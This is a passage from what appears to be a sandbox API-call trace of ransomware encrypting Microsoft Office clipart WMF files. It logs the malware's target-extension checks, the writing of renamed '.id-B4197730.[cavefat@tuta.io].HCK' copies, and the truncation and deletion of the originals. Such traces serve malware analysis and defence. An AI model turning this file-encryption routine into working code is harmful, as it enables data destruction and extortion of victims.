lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString=".1cd") returned 4 [0233.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString=".jpg") returned 4 [0233.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.219] lstrlenW (lpString=".doc") returned 4 [0233.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString=".docx") returned 5 [0233.219] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.219] lstrlenW (lpString=".pdf") returned 4 [0233.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString=".xls") returned 4 [0233.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.219] lstrlenW (lpString=".xlsx") returned 5 [0233.219] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.219] lstrlenW (lpString=".ppt") returned 4 [0233.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.220] lstrlenW (lpString=".zip") returned 4 [0233.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.220] lstrlenW (lpString=".rar") returned 4 [0233.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.220] lstrlenW (lpString=".bz2") returned 4 [0233.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.220] lstrlenW (lpString=".7z") returned 3 [0233.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.220] lstrlenW (lpString=".dbf") returned 4 [0233.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.220] lstrlenW (lpString=".1cd") returned 4 [0233.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0233.220] lstrlenW (lpString=".jpg") returned 4 [0233.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.220] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.220] lstrlenW (lpString="J0107134.WMF") returned 12 [0233.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.221] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=48388) returned 1 [0233.221] CloseHandle (hObject=0x454) returned 1 [0233.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0233.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.221] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.221] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.222] GetLastError () returned 0x0 [0233.222] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xbd04, lpOverlapped=0x0) returned 1 [0233.224] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xbd10, lpOverlapped=0x0) returned 1 [0233.225] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.225] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.225] SetEndOfFile (hFile=0x4ac) returned 1 [0233.225] CloseHandle (hObject=0x4ac) returned 1 [0233.225] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.225] SetEndOfFile (hFile=0x454) returned 1 [0233.228] CloseHandle (hObject=0x454) returned 1 [0233.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0233.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.229] lstrlenW (lpString=".doc") returned 4 [0233.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.229] lstrlenW (lpString=".docx") returned 5 [0233.229] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.229] lstrlenW (lpString=".pdf") returned 4 [0233.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".xls") returned 4 [0233.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.230] lstrlenW (lpString=".xlsx") returned 5 [0233.230] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.230] lstrlenW (lpString=".ppt") returned 4 [0233.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".zip") returned 4 [0233.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.230] lstrlenW (lpString=".rar") returned 4 [0233.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".bz2") returned 4 [0233.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".7z") returned 3 [0233.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".dbf") returned 4 [0233.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".1cd") returned 4 [0233.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".jpg") returned 4 [0233.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".doc") returned 4 [0233.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".docx") returned 5 [0233.230] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.230] lstrlenW (lpString=".pdf") returned 4 [0233.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".xls") returned 4 [0233.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.230] lstrlenW (lpString=".xlsx") returned 5 [0233.230] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.230] lstrlenW (lpString=".ppt") returned 4 [0233.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".zip") returned 4 [0233.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.230] lstrlenW (lpString=".rar") returned 4 [0233.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".bz2") returned 4 [0233.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString=".7z") returned 3 [0233.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".dbf") returned 4 [0233.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.230] lstrlenW (lpString=".1cd") returned 4 [0233.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0233.231] lstrlenW (lpString=".jpg") returned 4 [0233.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.231] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.231] lstrlenW (lpString="J0107138.WMF") returned 12 [0233.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.231] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=17200) returned 1 [0233.231] CloseHandle (hObject=0x454) returned 1 [0233.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0233.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.232] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.232] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.233] GetLastError () returned 0x0 [0233.233] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4330, lpOverlapped=0x0) returned 1 [0233.234] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4340, lpOverlapped=0x0) returned 1 [0233.235] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.235] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.235] SetEndOfFile (hFile=0x4ac) returned 1 [0233.235] CloseHandle (hObject=0x4ac) returned 1 [0233.235] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.235] SetEndOfFile (hFile=0x454) returned 1 [0233.238] CloseHandle (hObject=0x454) returned 1 [0233.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0233.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.239] lstrlenW (lpString=".doc") returned 4 [0233.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.239] lstrlenW (lpString=".docx") returned 5 [0233.239] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.239] lstrlenW (lpString=".pdf") returned 4 [0233.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.239] lstrlenW (lpString=".xls") returned 4 [0233.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.239] lstrlenW (lpString=".xlsx") returned 5 [0233.239] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.239] lstrlenW (lpString=".ppt") returned 4 [0233.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.239] lstrlenW (lpString=".zip") returned 4 [0233.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.239] lstrlenW (lpString=".rar") returned 4 [0233.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.239] lstrlenW (lpString=".bz2") returned 4 [0233.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.239] lstrlenW (lpString=".7z") returned 3 [0233.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.239] lstrlenW (lpString=".dbf") returned 4 [0233.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.239] lstrlenW (lpString=".1cd") returned 4 [0233.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString=".jpg") returned 4 [0233.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString=".doc") returned 4 [0233.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString=".docx") returned 5 [0233.240] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.240] lstrlenW (lpString=".pdf") returned 4 [0233.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString=".xls") returned 4 [0233.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.240] lstrlenW (lpString=".xlsx") returned 5 [0233.240] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.240] lstrlenW (lpString=".ppt") returned 4 [0233.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString=".zip") returned 4 [0233.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.240] lstrlenW (lpString=".rar") returned 4 [0233.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString=".bz2") returned 4 [0233.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString=".7z") returned 3 [0233.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString=".dbf") returned 4 [0233.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString=".1cd") returned 4 [0233.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0233.240] lstrlenW (lpString=".jpg") returned 4 [0233.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.240] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.240] lstrlenW (lpString="J0107146.WMF") returned 12 [0233.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.241] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=14996) returned 1 [0233.241] CloseHandle (hObject=0x454) returned 1 [0233.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0233.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0233.591] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.591] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0233.591] GetLastError () returned 0x0 [0233.591] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0233.593] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0233.593] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.594] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.594] SetEndOfFile (hFile=0x4ac) returned 1 [0233.594] CloseHandle (hObject=0x4ac) returned 1 [0233.594] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.594] SetEndOfFile (hFile=0x454) returned 1 [0233.596] CloseHandle (hObject=0x454) returned 1 [0233.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0233.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.598] lstrlenW (lpString=".doc") returned 4 [0233.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString=".docx") returned 5 [0233.598] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0233.598] lstrlenW (lpString=".pdf") returned 4 [0233.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString=".xls") returned 4 [0233.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.598] lstrlenW (lpString=".xlsx") returned 5 [0233.598] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0233.598] lstrlenW (lpString=".ppt") returned 4 [0233.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.598] lstrlenW (lpString=".zip") returned 4 [0233.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.598] lstrlenW (lpString=".rar") returned 4 [0233.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString=".bz2") returned 4 [0233.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString=".7z") returned 3 [0233.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.598] lstrlenW (lpString=".dbf") returned 4 [0233.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.598] lstrlenW (lpString=".1cd") returned 4 [0233.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.598] lstrlenW (lpString=".jpg") returned 4 [0233.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0233.599] 